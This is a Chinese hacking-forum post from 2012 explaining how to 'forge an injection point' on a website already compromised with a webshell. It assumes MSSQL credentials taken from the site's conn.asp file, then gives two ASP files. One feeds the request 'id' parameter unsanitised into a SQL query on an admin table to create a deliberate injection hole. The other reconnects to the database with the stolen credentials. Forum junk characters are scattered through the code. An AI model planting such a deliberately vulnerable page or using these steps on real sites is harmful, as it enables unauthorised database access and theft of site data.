找回密码
 立即注册
查看: 2009|回复: 0
打印 上一主题 下一主题

伪造注入点方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:08 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
' x+ z5 F" s, M2 k6 ]+ @* L: jASP/Visual Basic代码$ g3 I! @0 ?! x4 A* I' P
<!--#include file="xx.asp"-->   
7 Z- ~! \9 G" Z) x& b<%   
7 L! f5 v3 R6 q  |& g/ [( Oset rs=server.createobject("ADODB.recordset")   
# M# E8 w- @8 I! A3 Sid = request("id")    ! o9 {8 o" [4 L$ u: J
strSQL = "select * from admin where id=" & id    - r0 v) g" \1 H. b8 m4 W
rs.open strSQL,conn,1,3    ( Y8 a9 Y* i0 ^* c. h; n- g$ F
rs.close    , o5 [' I1 H' o  S# A+ H5 v4 X
%>    s! \2 U! l+ K0 Q
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 y5 L7 n1 R  s& Z. @
然后就要构造一个连接数据库的文件了,代码如下:
; P. @8 D/ C) ]) k- j" \# B- MASP/Visual Basic代码9 E, ]6 [; T6 w6 l
<%            7 W7 V! K9 l/ d4 A, _
strSQLServerName = "000.000.000.000"     '服务器名称或地址   
1 U+ [; [! _6 D' RstrSQLDBUserName = "sqlname"         '数据库帐号    : ]. @# E2 R3 a7 u
strSQLDBPassword = "sqlpass"         '数据库密码   
! K+ C5 a3 i/ D$ Z  J6 ~strSQLDBName = "sqldataname"           '数据库名称    # H2 @  V6 S, x0 ]
Set conn = Server.CreateObject("ADODB.Connection")    3 m6 T4 e: _( N9 C; @
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"   
; `. W* E4 m5 c) X& e2 Y; Bconn.open strCon   
6 m; N4 t, K) ]: D+ J: N# N%>  0 o" C" }; e( K+ C/ S% m- }
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
  {8 \# N9 Z* d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表